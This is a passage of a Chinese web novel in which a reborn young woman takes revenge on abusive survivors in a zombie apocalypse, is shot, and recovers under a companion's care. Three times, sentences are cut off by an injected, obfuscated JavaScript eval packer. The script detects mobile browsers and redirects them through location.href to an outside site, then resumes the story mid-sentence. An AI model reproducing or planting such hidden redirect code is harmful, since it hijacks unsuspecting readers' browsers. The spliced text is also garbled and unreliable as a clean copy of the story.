桑寄月住在二楼,和被用来当做工具的女人们住在一起,得益于她是要被献给帮主的礼物,所以她暂时还是安全的。 桑寄月尝试过逃跑,但她无法在不打草惊蛇的情况下偷偷离开。 也是因为她想要摸清路线,她意外看见了青龙帮的军火仓库。 不用想也知道,那样一批数量庞大的军火是从哪里来的。 没过多久,桑寄月被送进了帮主的房间,她藏了一把宋铃给她的手术刀。但她等来的不是青龙会的帮主,而是从窗户爬进来的桑淮。 桑淮遇见了即将尸化的宋铃,是宋铃撑着最后一口气,告诉桑淮,她在这里的。 桑寄月请求桑淮的帮助,她了解这里的路线与布防,在来这里的时候,她还看见过军方的踪迹,他们并非全无胜算。 但桑淮拒绝了她。 这是意料之中的事。 桑寄月想为宋铃报仇,也巴不得桑淮能死在这,只可惜桑淮不上当。 ……这一次,桑淮还会来这里吗? 那桑寄月可要再送他一份礼物了。 怀揣着不怀好意的想法,桑寄月在宋铃温暖的怀中睡去,再醒来时,天色已经完全亮了。 外面的丧尸不知何时已经散去,桑寄月听见了熟悉的声音在对话。 桑寄月地上爬起来,走过去时便听盛星舟说道:“……我是她哥哥。” “亲哥吗?”赵立明知故问。 桑寄月挽住了盛星舟的胳膊,甜甜的喊了一声“哥哥”,然后开心的说:“你终于来找我啦。” 忽然贴近的桑寄月让盛星舟浑身紧绷,她刻意甜美的嗓音也勾起了他某些不妙的回忆。 但是盛星舟知道这次遭殃的肯定不是他。 14. 夜话 在赵立的盛情邀请下,盛星舟偷偷的看了眼桑寄月,她恰巧也在看他,湿漉漉的眼睛里满是温柔的笑意,极具欺骗性。 盛星舟匆忙的想将手抽出来,但桑寄月用了很大的力气,尖锐的指甲险些陷进他的手背,他干咳一声,不再乱动,回应赵立:“赵哥说得对,末世单打独斗的确太危险了,我愿意加入你的队伍。” “你能这样想就好。”赵立满意点头,多看了桑寄月好几眼,然后问:“兄弟,你叫什么名字?” 他简略的介绍了自己的名字。 之前却没有询问过桑寄月的名字,因为没有必要。 盛星舟刚要说话,桑寄月忽然一边擦眼泪一边开口:“桑淮哥哥,你真的要和他们去打丧尸吗?外面很危险,我害怕……” 赵立:“你怕什么,又没让你去。” 盛星舟看了桑寄月一眼,虽然不解,但识趣的没多说什么,虚虚的揽着她去一边哄。 外面现在很安全,丧尸都被别的地方收集物资的人吸引走了,他们在附近商铺的台阶前停住脚步,盛星舟终于拔出了他的手,手背上是几道醒目的指甲印。 那么坚硬的指甲,以后变成丧尸了那还了得。 桑寄月问:“大福呢?” “接下来的行动很危险,所以我把大福安置在附近的空房子里了,留了狗粮和水,你放心。” 桑寄月瞥了他一眼:“你还知道危险吗?竟然没有临阵脱逃呢。” “我觉得你对我的认知可能出了一些偏差,在你心里我是胆小如鼠的人吗?” 桑寄月没明说,只道:“那群人渣可比我要吓人得多。” 毕竟她可不会侵犯盛星舟。 盛星舟觉得桑寄月对自己的认知也有偏差,不过他没说,只问:“接下来我们要怎么做?” “按他们说的做。”桑寄月淡声开口。 “好。”盛星舟一口答应,也不问为什么,只说起了桑寄月生病的事情:“你……你发病的话都喜欢到处乱跑吗?” 桑寄月纠正:“是妈妈让我跑的,不是乱跑。” 又从桑寄月口中听见那两个字,盛星舟默然了一瞬,低头的时候看见她踩着一双不太合脚的拖鞋,白皙的脚丫脏兮兮的,似乎还有点血。 盛星舟拿出了矿泉水和药膏,递给桑寄月,她只接了那瓶矿泉水,坐在台阶上将双足冲洗干净后,面无表情的挖了一坨药膏往脚底的伤口涂。 盛星舟蹲在一边看着,看起来有些焦躁:“你轻点。” 桑寄月听了,瞥了他一眼,感到莫名。 “疼不疼啊?” “疼。”桑寄月伸长了腿,等待脚上的药膏吸收。 “那你怎么不说。” “说了就不疼了吗?”桑寄月语气毫无起伏的说:“吵吵嚷嚷的,听着就烦。” 盛星舟摸出他那把扇子给她的脚扇风,想让药膏快点干:“我不觉得烦啊,别人喊疼你觉得烦?” 桑寄月顿了一下,不理人了。 因为以前她是被烦的那个。 脚上的药膏很快就干了,桑寄月这才穿好袜子,踩着运动鞋回去。 盛星舟在这之后不久便和赵立几人出发去搜集物资了,他们很显然也不放心宋铃,特地留了一个人守在这里。 下午的时候他们折返,一行人吃完了午餐之后,便打算回聚富商城了,只是距离聚富商城还有挺长一段距离,入夜后,他们驱车在一处破旧的居民楼前停下。 这里显然是已经被清理过了,附近的丧尸尸体身上有弹孔,不难猜出附近有军方的存在。除了他们这些挣扎求存的人,也有相当一部分多的人进入了幸存者基地,被保护了起来。 因为桑寄月与盛星舟明面上的关系,他们晚上休息时被分到了同一间房。 和桑寄月一同待在狭小的空间里盛星舟似乎有些无所适从,但桑寄月显然是没把他当做异性,打开陈旧的衣柜就钻了进去,钻了出来。 桑寄月脸色不太好看。 盛星舟抬眼一看,里面的衣服都被桑寄月扔出去了,现在很空,但是不知道从哪里掉出来了几只蟑螂尸体。 盛星舟立刻体贴的过去将尸体扔出窗外,声音轻快:“干净了,进去吧。” “独占一张床,你很开心吗。”桑寄月平静开口。 “不然呢?” 很好。 现在的处境也没有糟糕到她要去睡都是蟑螂尸体的衣柜,她站在床边,看着盛星舟,意思不言而喻。 盛星舟不舍的看了眼柔软的床铺,抱着被子开始打地铺。 房间里光线很昏暗,只有从没有关拢的窗户里透进来的月光,盛星舟暂时还没有睡意,睁眼一看,桑寄月靠在床头,似乎也不打算睡觉。 “这附近的丧尸看身上的弹孔,明显是新的,这说明军方驻扎在附近。”黑暗中,桑寄月轻声开口:“明天出发收集物资的时候,你找机会脱离队伍,去向军方举报聚富商城。” 上辈子她听说过聚富商城的后续,最后还是被军方发现,并且清剿了,救出了里面的老弱妇孺。 只不过听说青龙帮的帮主带着这个心腹逃了,后来还闹出过一些事情来,倒也无伤大雅,反正最后也都死了。 恰巧这时候军方就在附近,桑寄月不介意让那群人渣早点死。 盛星舟今天听赵立说过他们明天再收集最后一波物资,明天下午他们就能到聚富商城,这之后想要离开聚富商城恐怕就不容易了。 他立刻点头,说保证完成任务。 “那月姐你明天还是留在这里吗?今天没发生什么事吧?” 桑寄月明天要和宋铃做一件大事。 没打算带盛星舟。 这种一看就没经历过什么挫折,单纯到近乎愚蠢的家伙,带上他他也只会心软坏事。 桑寄月淡声开口:“你明天可以慢慢来,不着急,毕竟你的任务举足轻重。” “你现在这么看重我了吗?”盛星舟听了,开心的说道。 桑寄月:“……” 给你点面子你还喘上了,笨蛋。 桑寄月不理他,他也没觉得奇怪,又喜滋滋的开口:“月姐,我发现刀的确比棍子好用,你的匕首再借我两天可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16044968|178966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以吗?” “我的背包呢?” “给,你的小书包。”盛星舟扔给她。 桑寄月接过,里面缺失的药已经补充完整了,她拉开内袋的拉链,摸出又一把匕首扔给盛星舟。 她平静的语气听不出什么情绪:“难得你要用刀了,挺好,送你。” 桑寄月当时拿了两把,其他的冷兵器都被她扔丧尸堆里了,不给桑淮留。 盛星舟没想到当时桑寄月去博物馆,竟然还特地给他拿了把匕首,他握着那把沉甸甸的匕首,有异样的情绪划过心间。 房间里安静下来。 盛星舟渐渐有了睡意,快要睡着的时候,他忽然想到什么,撑起眼皮一看,桑寄月竟然还坐在床上,并没有躺下的想法。 他看外面的夜色,时间已经不早了,盛星舟猜测:“你一定要在衣柜里才能睡着吗?” 桑寄月还以为盛星舟已经睡了。 她失眠是常有的事情,没什么稀奇的,和衣柜不衣柜的没有关系。 没得到回应,盛星舟也习以为常,他又开始说起话来:“其实床上挺好的,你看现在我睡在这,有人要是想靠近你,得从我身上踩过去,那我肯定被踩醒,然后就能保护你了。” 桑寄月:“……” 有人进来了你都醒不了,非得让人踩一下才醒,你是尖叫鸡吗。 她安静的腹诽。 “而且衣柜也很危险,万一从前往后背推倒了,那你岂不是就跟被锁在棺材里了一样,简直完蛋。” “你很吵,该睡了。”桑寄月面无表情的开口,能睡着的人陪她干熬什么夜,她开口威胁:“除非你想现在完蛋。” 盛星舟终于安静了,并且很快睡去。 听着盛星舟均匀的呼吸声,桑寄月在床上躺了下来,她蜷缩着身体,想念干燥温暖的怀抱。 一夜很快过去。 盛星舟再醒来时,桑寄月还在熟睡。 他爬起来盯着她看了一下,发觉她眼下的乌青仍没有褪去。 仅是一瞬,桑寄月睁开眼。 盛星舟慌张的说:“我吵醒你了?” “你在看什么?” “看你呀。” 桑寄月完全没有刚睡醒的懵懂,她警告盛星舟:“今天你还有任务要做,别想些有的没的。” 别沉迷她的美色了,没结果的。 “我想什么了?”盛星舟不明所以:“你现在这么厉害了,还能读心?” 桑寄月一脸镇定:“是的,你在想什么我都知道。” 除了她,他还能想什么。 “那你猜我现在在想什么?”盛星舟大胆试探。 桑寄月,爱抓人,小疯猫,挑食怪。 桑寄月才不会去回答这种会引起他误会的问题,她如果说他在想她,那他岂不是会很嘚瑟。 她日常不搭理盛星舟。 盛星舟就当他在自言自语了:“我就知道你不知道。” 他大着胆子,在心里又骂了她两句。 经常说句话就不理他了,以后可别求着他和她说话,哼。 15. 风动 和上辈子一样,今天是赵立值守。 他们已经离开了居民楼,在小区外被搬空的便利店里歇脚,只等着搜寻物资的队友回来之后,就折返聚富商城。 因为盛星舟的加入,对桑寄月有别的想法的男人还未有所行动,所以宋铃这一次与桑寄月的关系平平,只不过她依旧和上一世一样,温和的对桑寄月说:“小月,我的手链不小心掉在昨晚的住处了,你可以去帮我拿回来吗?” 等到赵立回到聚富商城,宋铃就完全没有机会报仇了,只是宋铃并不想让桑寄月看见血腥的画面,无论倒在地上的人是赵立,又或者是她。 赵立大刀阔斧的坐在一边,听见宋铃说话,不耐烦的说:“找什么手链,他们今天去的地方不远,很快就回来了,别耽误时间。” “没关系,我去帮姐姐拿吧,我跑得可快啦。”少女弯着唇,声音轻快的说。 桑寄月抬脚离开,不忘关上便利店的门,将空间留给宋铃与赵立。 她当然没去找什么手链,那只是一个借口,出了便利店之后,她就找了一个隐秘的角落窝着,宽大的袖子里塞着那把锋利的匕首。 没过多久,便利店里传来了一阵混乱的声音,伴随着男人的谩骂,与拳头落在□□上的沉闷声响。 这是只属于宋铃的复仇。 桑寄月没有强行介入,只是忠实的守护在外面。 很快,门缝里溢出猩红的鲜血。 利刃入肉的声音,一道又一道,不断的落在桑寄月的耳畔。 最后一刀,贯穿了男人的喉骨。 庞大的身躯倒下之后,里面安静了好一阵,又很快隐隐传来了脚步声,是宋铃要来开门。 但提前折返的一个男人已经推开了便利店的门。 那男人看着握着染血手术刀的宋铃,然后定在倒在血泊中、喉咙不断喷血的赵立,大为惊骇,怒骂宋铃,然后朝着女人扑了过去。 宋铃手里的刀被夺走,她摔倒在地,看着面前愤怒的男人,吃力的去摸口袋里的第二把手术刀。 她就是死,也要杀够本。 男人手里的刀往宋铃的腹部刺,宋铃正要受下这一刀的时候,又见男人的脖颈被匕首贯穿,喷溅而出的鲜血将她的整张脸打湿。 仍是喉骨,一刀毙命。 宋铃是桑寄月的第一位老师,她第一次想要拿起刀,就是因为宋铃。 桑寄月拔出匕首,男人的躯体便倒进血泊中,她右手握着匕首,左手朝着宋铃伸出,朝着宋铃笑得很开心:“姐姐,还有三个哦,我们加油。” 上辈子宋铃与被他杀死的第二个男人缠斗了许久才将其制服,耽搁了不少时间,也因此撞上了结伴而回的另外三名队友,她当时腹部被捅了一刀,已经失去了战力。 但这一次宋铃没有受伤。 桑寄月也有充足的时间布置。 只是……听着外面越来越近的脚步声,桑寄月眉头微皱,回头一看,就见另外三人,竟提前回来了。 他们震惊的看着眼前的这一幕,两具尸体,与两个手里拿着还在滴血刀刃的女人,都不用思考就能知道是发生了什么。 宋铃立刻将桑寄月拉到身后,举着锋利的手术刀,面若冰霜的看着他们:“你们这群烂人,都去死吧!” 这些男人其实一直都很防备宋铃,就连宋铃每天做饭,都有抽出一个人来看着她,防止她动手脚,只不过他们怎么也想不到,宋铃竟然会直接选择动刀。 一个女人,哪来的这种胆子?! 宋铃最后悔的就是留在了他们的小队里,她的初衷只是希望妹妹能够得到和更妥帖的保护。 然而她们却为此付出了惨痛的代价。 在末世可怕的从来都不是丧尸。 宋铃抱着必死的信念,朝着他们扑了过去,并且让桑寄月快跑。 桑寄月当然不会跑,她的速度比宋铃还要快,左手攥紧匕首,便要捅向距离她最近的男人的喉骨—— 二对三的局面,他们却没占优势。 桑寄月面无表情的挑断朝着她举着菜刀砍下来的男人的手筋,那男人惨痛的呼喊出声,却在下一刻喉咙鲜血淋漓,完全失去了声音。 身后又有人扑来。 桑寄月躲不开,后背撞在了坚硬的货架上,在那人再扑过来的时候,她将尖锐对准他的腹部落下。 利刃入肉的声音响起时,冰凉的枪口也抵在了桑寄月的后脑勺。 他们有枪。 桑寄月也并不意外。 她缓缓的转过身,脸色苍白,难以克制的喘着粗气,眼尾泛着体力透支的红,但双眼是冰冷的,清楚的倒映着那张可憎的脸。 男人一只手死死地掐着宋铃的脖颈,另一只手持枪抵在桑寄月的脑门,他怒骂:“两个贱女人!老子要你们死!” 腹部被捅了一刀的男人倒在地上,也用着最肮脏的词汇谩骂着她们。 宋铃忽然狠狠地咬了一口男人的虎口,男人吃痛,下意识的甩开她,然后朝着她开了一枪。 枪声响起。 桑寄月猛地扑上去拽着宋铃的手臂往旁边滚,宋铃摔倒的地方,留下了新鲜的弹孔。 男人也不顾用枪可能会引来附近的丧尸了,反正这里的血腥味那么浓,那些丧尸很快也会闻着味过来的。 他毫不犹豫的开了第二枪—— 手臂却猛地一痛,第二枪打偏,他的脖颈也抵上了一把匕首。 他顿时不敢动了。 盛星舟冷声说:“把枪扔了。” 男人手一抖,手里的枪掉在了地上。 桑寄月没想到盛星舟回来得也这么快,倘若他不出现,她大抵会选择避开要害吃一枪,然后靠近他,杀了他。 盛星舟看见桑寄月还算完好无损的模样,稍稍松了一口气,他看着被他挟持住的男人,动作有些迟钝。 同样体力透支的宋铃瘫坐在地,满脸恨意的开口:“杀了他!” 盛星舟仍看着桑寄月,似乎在等她开口,他在等待,也在惶恐。 桑寄月却没有看他,在宋铃开口的时候,桑寄月从地上爬了起来,动作飞快的将手中的匕首精准捅穿那男人的喉骨。 与此同时,又是一声枪声响起。 那被捅穿腹部的男人捡了那把枪,想要射击盛星舟,救出他的队友。 只是谁也没想到桑寄月会先动手,匕首落下的时候,那枚子弹也打在了她的腰上。 那男人见一击不成,慌忙撞碎玻璃,捂着不停流血的腹部仓皇逃跑。 桑寄月捂着不停渗血的腰,疼得几乎要佝偻,盛星舟一把扶住她,手抖得不成样子,他张了张嘴,一个字都说不出。 宋铃也没料想到会有这种变故,但现在不是说这个的时候,她飞快的收拾了药箱,说道:“得赶紧离开,我已经听见丧尸的叫声了。” “枪、我要枪……”桑寄月忍着疼,说话的时候声音在抖。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16044969|178966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盛星舟连忙把那把枪捡起来,然后小心的抱起桑寄月,和宋铃一起冲了出去。 地面上留下一道蜿蜒的血痕。 直到伤口几乎再也滴不出血来。 …… 意识再度回拢的时候,已经不知道过去了多久。 桑寄月看着昏暗的天花板,黝黑清澈的眸子看起来空洞无神。 视线中忽然出现了一只手,她的视野在模糊与清晰中不断切换,终于聚焦。 这是盛星舟的手。 桑寄月动了动唇,干涩的喉咙吐不出声音来,盛星舟凑近去听,她说让他滚远点。 盛星舟的眼眶红着,坐在床边,过了好久才说:“阿月,对不起。” 她皱眉看着他。 “我不该犹豫的。”他低声说道。 桑寄月昏迷的这段时间,盛星舟一直在想这件事。 如果他当时直接杀了那个男人,可能地上的那人也没时间捡起那把枪;如果他当时在宋铃开口时就通下杀手,可能子弹就是打进他的身体里。 他感到很愧疚,也憎恶自我的无能。 桑寄月舔了舔唇瓣,她应该是昏迷了挺久时间的,但唇角也不干,应当是有人每日照顾,用棉签湿润她的唇角。 就是喉咙还是有些干。 只不过缓了这么一会儿之后,桑寄月也能正常开口说话了,她的声音又恢复成了毫无起伏的模样:“这件事本来就跟你没关系。” 桑寄月自认她早已看透了眼前的男人,他看起来就是家境优渥从小就没吃过什么苦的富贵公子哥,整天傻乐,一开始连饭都不会做,能拿起棍子杀丧尸已经很不容易。 桑寄月见过这样的人。 因为上辈子她就是这样的,虽然她不会整天傻乐。 只不过是末世艰难的生活将她磨砺成了现在的模样。 妈妈说过不喜欢她现在的样子。 所以她觉得盛星舟就像现在这样挺好的,能杀丧尸就行了,没必要对他要求得太多。 盛星舟低垂着脑袋,不知道在想什么。 桑寄月似乎也没兴趣关心,只问:“我睡了多久?” “半个月。”盛星舟立刻回答。 他们现在在一处已经空无一人,连丧尸都没有的小区落脚,宋铃为桑寄月取出了子弹,又制作了简易的输液设备,只是设备简陋,宋铃每天守八个小时,盛星舟守十六个小时。 可能对于桑寄月来说时间只是一晃而过,但盛星舟却觉得度日如年,他闷声说:“我怕你会醒不过来。” “不会。”桑寄月的声音很淡,她微微偏过脑袋,看着窗外落下的金红夕阳,一束光打在她的脸上,有着奇异的美感,她毫无情绪的说:“现在还不是我死的时候。” “……你不会死的。”盛星舟似乎听懂了她在说什么,又似乎只是劝慰,他说:“你会长命百岁。” 他相信这也是他来这里的目的。 桑寄月听了,似乎是觉得好笑,唇角勾着,然后说:“行,我长命百岁,不到我死的时候我一定不死,所以说,你也没必要再去想那颗子弹的事情了。” “这中间有什么必然的联系吗?”他迷茫。 她默了一瞬,两者之间当然没有必然的联系,只是:“我不想你再去想。” 外面有微风吹拂而过,树叶沙沙作响,她轻细的声音,也像一阵柔柔的风,似乎吹进他的胸膛,拨弄了一下他的心。 16. 养伤 躺了半个月的身体虚弱不堪,桑寄月喝了水之后,盛星舟又给她端了鱼片粥来,粥底熬得很是鲜美,她慢吞吞的吃着,这期间盛星舟就蹲在旁边和大福玩。 桑寄月将调羹放回空碗里,然后朝着盛星舟招了招手。 大福甩着尾巴凑过来。 盛星舟走得比大福快,先到了桑寄月面前,问她:“还吃吗?我再去给你盛一碗。” “军方离开了吗?”桑寄月没理,只继续问起她关心的事情。 这就是不吃的意思了,盛星舟将小桌子连带着空碗搬下床,放到一边。 “还没。”他一边回答,然后推测:“不过应该快了,他们最近驻扎在聚富商场附近,已经开始清剿工作了。” 其实如果桑寄月愿意的话,盛星舟更希望他们能和军方一起前往位于南山监狱的幸存者基地。 她中弹的时候都已经快要意识不清了,听见他和宋铃交流,说带她去军方求助,听说军方那里还有一位来自景城的医生,他们的医疗环境绝对比他们这里要好得多。 但也不知道是他们的对话哪里触及了桑寄月的雷点,她挣扎着睁开眼,紧紧的攥着他的手,说:“就在这里取出子弹,我不要和军方扯上关系。” 宋铃很不赞同桑寄月的做法,但盛星舟对上那双虚弱坚定的双眼时,回握住她的手,声音颤抖的承诺她:“好,你想在哪里就在哪里。” 盛星舟已经不敢去回忆他们就在那么简陋的环境里给她取出了腰上的子弹,纤细易折的腰肢上留下了醒目的弹孔,在白皙的皮肤上,极为刺眼。 可是就是在那样糟糕的环境中,桑寄月还是顽强的挺过来了。 ……就像她说的那样。 桑寄月没有发现只是一瞬盛星舟就发散思维想到了那么多,她有些稀奇的说:“你怎么知道的?” “我每天会去那边看看情况。”盛星舟只一句话带过,他眼下的乌青比桑寄月还要严重,看起来很久没有睡好。他接着向桑寄月汇报:“多亏了你给的商场内部图纸,清剿工作还挺顺利的,只是青龙帮的人也不太好对付,听说已经逃了好几个人了,不过你别担心,我打算去——” “别去。”桑寄月打断他的话,她很是憧憬的说:“不出意外的话他们会找桑淮报仇,毕竟那个逃走的男人只知道你的名字叫桑淮。” 盛星舟愣了一下:“可是桑淮又不长我这样,那个人见过我。” “他活不到见到桑淮的时候。”桑寄月唇角勾起来,有一种做完坏事之后的小得意:“那一下捅得巧,他最多能坚持到回聚富商场,别想活太久。” 他就说桑寄月当时为什么捅的是肚子而不是脖子,他抿了抿唇:“如果直接把他杀了,你就不会受伤了。” “你怎么也把杀挂嘴边了。”桑寄月漫不经心的说,但她还沉浸在成功给桑淮找麻烦的喜悦中,很开心的道:“正好你天天出去打探消息,帮我注意一下桑淮会不会撞上他们,如果他被打了你一定要告诉我,我会超级开心。” 盛星舟嘟哝:“他说不定都死在博物馆里了。” “他可没到死的时候。” “阿月,你到底——” “我不问你,你也不要问我。”桑寄月冷漠打断。 桑寄月目前对盛星舟到底是怎么复活的一点兴趣都没有了,所以盛星舟有问题也给她憋着,她拒绝交换秘密。 盛星舟猝不及防的被凶了一下,有些委屈的说了声“知道了”。 桑寄月动了动右手,手背还插着留置针,还好是插的右手,不然她都拿不了刀了,不过她既然醒过来了,就没必要再输液。她说:“给我拔了。” 盛星舟也没说什么,他的手艺在这几天都练出来了,动作很轻的帮她把留置针拔了下来,血都没流一滴。 只不过这段时间她手背上一直插着留置针,那块皮肤都泛着青。 桑寄月揉了揉有些疼的手背,把双手藏进柔软的毯子里。 盛星舟又问她:“你手臂上怎么那么多针孔?” 之前桑寄月一直穿着长袖,他都没发现。 “生病呀。”桑寄月没什么心理负担的回答:“以前我总是觉得去了医院就能好了,不好也算是心理安慰。” 她是早产,天生体弱,医生在她很小的时候,就和妈妈说过,她可能都活不过二十岁。因为妈妈当时特别生气,所以桑寄月本不该记得这件事也记住了。 不过医生说得也没有错,她的确没活过二十岁,好在那是末世,她用另一种方式“活”过来了。 所以桑寄月很喜欢现在的这个世界。 盛星舟不知道桑寄月为什么能说得这么若无其事。 他看着她,想安慰,但桑寄月不需要,他要是真安慰一句,肯定会被骂。 “你怎么又盯着我看。”桑寄月赶苍蝇一样摆摆手:“赶紧走,我要继续休息。” 盛星舟闷声不响的收拾了碗筷,没一会儿宋铃进来了,说盛星舟让她扶她去厕所洗漱。 再晚一些的时候,盛星舟敲门进来,说他不放心桑寄月现在一个人待着。 桑寄月也没说什么,允许了他留下来。 已是深夜。 桑寄月的身体太虚弱,也没听盛星舟说几句话,就迷迷糊糊的睡着了。 盛星舟看她终于入睡才松了一口气,多日来高悬的心也终于落下,他坐在地上,脑袋枕在床边,也渐渐睡着了。 翌日。 桑寄月再睁开眼时,身旁已经没有人了,盛星舟掐着她醒过来的时间,已经提前做好了早饭。 又过了几天时间,盛星舟说军方即将撤退,要去下一个地方进行营救;另外他还真看到了桑淮,他似乎在军方里有认识的人,帮着追捕青龙帮成员,只是在他的名字泄露后,青龙帮成员开始追着他杀。 军方忽然找上聚富商场,只能说是有人泄露了消息,他们的成员拼死带回来的名字,自然成了他们的首要怀疑目标。 桑寄月听完之后果然高兴得不行,一整天脸上都带着笑,看起来很是生动活泼。 军方确定撤离的那一日,宋铃也来同桑寄月与盛星舟道别了,她打算跟着军方前往幸存者基地。 盛星舟给她准备了丰盛的物资,而桑寄月将那把枪留给了宋铃。 宋铃离开,家里就只剩下了两人一狗,不过这对他们的生活也没什么影响,桑寄月还在养伤,每天心安理得的被盛星舟照顾着,看起来无忧无虑,尖尖的下巴也圆润了一些。 日子风平浪静。 转眼就到了九月份。 天气仍是炎热的,但桑寄月的伤口恢复得不错,盛星舟还在翻他新得的菜谱的时候,许久不见的七四忽然上线。 之前的任务据说是盛星舟的完成度很高,且女配也认可他,所以他获得的积分直接翻倍,但盛星舟看了眼商城, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16044970|178966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里面的道具50积分起步。 虽然盛星舟希望他能获得积分的机会少一些,这样桑寄月该经受的苦难,是不是也会少一些呢? 七四还在喜滋滋的和盛星舟说:“天上掉积分啦!本次是剧情任务,仅此一次,完成之后可以获得20积分哦!” “剧情任务是什么?” “宿主,你忘记盛星舟的设定啦?你是白月光男配哦~” 盛星舟:“啊……” 他有些嫌恶的皱了下眉。 他讨厌桑淮,自然也不会喜欢那个什么女主角,都是欺负阿月的坏家伙们。 “目前女主被困在海晏区渭河街117号,需要你去完成救女主的剧情任务,当然,你不用和剧情里一样去死。”七四不太放心的说:“你可千万别死了啊,你要是死了我们就全完蛋了。” 盛星舟应了一声,但并不打算去什么海晏区的渭河街。 桑寄月的身体还没养好呢,肯定不能奔波,就是能奔波了也是应该他跟着桑寄月走,怎么能让阿月跟着他走。 七四似乎察觉到什么:“你别告诉我你不做任务了。” “有问题?”盛星舟虽然不知道为什么他死了系统会说“我们”就完蛋了,但这也间接说明了在他身上除了外力,是不存在死亡惩罚的,所以他当然可以不做任务。 “有大问题啊!”七四急了,连忙说道:“男主要在下个月才能找到女主,你不去的话我女宝真死了怎么办,她要是死了我们也全完蛋了!” 盛星舟的声音冷了下来:“谁死了你都要完蛋,就阿月死了不完蛋是吗?” 七四大惊:“她死了?” “她还要养伤。” 个屁,今天桑寄月都开始在外面追着狗到处跑了。 七四腹诽,但他意识盛星舟全无做任务的想法,既然威逼不成,也只能继续利诱了。主神大人啊,为什么现在的宿主一个比一个难搞呢。 “宿主,很快就会进入异能时代,不过也不是所有人都能觉醒异能的,你如果去做任务,就能攒够30积分,到时候我再借你20积分,你就能买异能卡了。” 由于原本的盛星舟死在异能时代前,所以谁也不知道他究竟会不会觉醒异能,只不过觉醒异能的概率本来就非常低,但如果有异能卡的话,就能百分之百觉醒。 七四叭叭叭的说了一通:“宿主,你就不心动吗?” 盛星舟当然会心动,但他还是那样想的,只能是他跟着桑寄月。 敷衍了七四两句后,盛星舟开始准备晚餐。 结果晚上吃饭的时候,桑寄月吃着吃着忽然对他说:“今晚收拾一下,我们明天出发,去海晏区。” “海晏区?” “你怎么什么都要问。”她抱怨了一声,然后说:“我本来就是要去海晏区,只是因为受伤了才不得不待在这里养伤,现在时间差不多了,当然要继续出发。” 盛星舟捕捉到关键字眼,他继续问:“你是不是要找人?” “是呢。”桑寄月脸上露出笑容,她温温柔柔的说:“我要去找一个对我来说很重要的人哦。” 盛星舟能猜到她说的是女主。 只是看她笑成这样,盛星舟猜测桑寄月一定和那个女主也有仇。 盛星舟想,他才不会去救什么女主,可以的话他帮桑寄月把女主杀了也没关系。 在桑寄月再次受到伤害之前。 17. 疑问 由于南山监狱实在是太远,为了江望曦的安全着想,薛铮决定联系军方,与军方一起前往南山监狱。 当时距离他们最近的就是负责青州区救援行动的军方,他们不得不在青州区多待了一段时间。 随着青州区的救援行动逐渐进入尾声,军方的几支小队也在有序的撤离,江望曦以医生的名义留到了最后一波撤离。 薛铮不解:“江医生,最近队伍里不是又来了一位女医生么?大可以让她留下来,我们去南山监狱。” 他看起来有些着急,因为在青州区已经耽搁很长时间了。 “我需要多采集一些丧尸病毒样本,以后或许会有用。” 薛铮恍然大悟。 景城的研究所里早就已经开始尝试研制针对丧尸病毒的血清,江望曦来到燕城,也是为了采集更多的病毒样本,为了研究血清做准备。 虽然薛铮觉得让军方去采集病毒样本要安全得多,但江望曦要亲力亲为,涉及血清的研究工作,薛铮也不好说什么。 只不过这里的研究环境实在是简陋。 坚硬的木板上是被束缚了手脚的丧尸,尖锐的手术刀片开它的头颅,连接着几根古怪的管子,里面是不同颜色的液体,流入容器中。 那只丧尸面如死灰,木板上全是抓挠的痕迹,没有瞳孔的眼睛里竟也能读出一丝惊恐。实验当然是痛苦的,但只要能获得完美的答卷,就是有意义的。 它的嘴里还在不断发出虚弱的“嗬嗬”声,是声嘶力竭后的沙哑声响。 江望曦用消毒液将双手清洗干净后,看向薛铮,问道:“桑淮还在被青龙帮追杀吗?” “那群逃犯也不知道是怎么了,就盯上了桑淮。”薛铮疑惑的点着脑袋说。 军方在得知后,和桑淮商讨,用热武器做交易,让桑淮做诱饵,想将青龙帮的残存势力清剿干净。 但青龙帮的人也精,每次打完就跑,双方都落不到什么好,桑淮也因此受了伤,正是烦闷的时候。 江望曦倒是笑了一声:“越来越有意思了。” 一切都不一样了。 小月,你也会是吗? “向军方举报青龙帮的人还没有下落吗?” “没有,现在外面太乱了,不好找人,那小子举报完之后就不见了。”薛铮想起来什么,又问:“您要找的人,真的和那小子在一起吗?” “嗯。”江望曦应了一声,情绪很平静:“是不是明天就要撤离了?” 薛铮点头,不太放心的看着江望曦。 江望曦叹了口气。 ……算了,这段时间大抵是见不到了。 他对桑寄月过往的轨迹并不熟悉,桑寄月也没有详细的和他说过,毕竟他们很久以后再遇的时候,她已经不会说话了。 